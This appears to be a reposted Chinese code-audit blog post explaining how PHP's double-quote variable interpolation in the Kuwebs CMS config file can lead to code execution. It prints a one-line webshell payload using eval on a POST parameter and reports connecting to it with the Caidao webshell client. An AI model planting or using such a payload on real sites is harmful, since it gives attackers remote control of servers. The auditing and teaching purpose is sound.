PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )
Posted 春告鳥
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )相关的知识,希望对你有一定的参考价值。
在代码审计一书中提到Kuwebs的配置文件中可以利用php可变变量的特性执行代码
在PHP语言中,单引号和双引号都可以表示一个字符串,但是对于双引号来说,可能会对引号内的内容进行二次解释,这就可能会出现安全问题
我们先下载Kuwebs的源代码
http://47.94.132.67/tools/index.php?share/file&user=1&sid=4hKdqxNF
下载了之后简单看一下配置文件,发现书中的代码在config.inc.php文件中
这里只是演示PHP会对引号内的内容进行解释,而不考虑实际情况中我们能否修改config.inc.php文件
我们将kuWebsiteURL修改为
$kuWebsiteURL = "${@eval($_POST[a])}";
如果PHP能够正确解释,即我们写入了一句话木马
使用菜刀成功连接,成功执行代码
证明双引号可能会引发代码执行漏洞
虽然单引号和双引号都可以表示一个字符串,但是作为程序员应当了解两者的一些特性
参考链接:
以上是关于PHP中双引号引起的命令执行漏洞(Kuwebs代码审计 )的主要内容,如果未能解决你的问题,请参考以下文章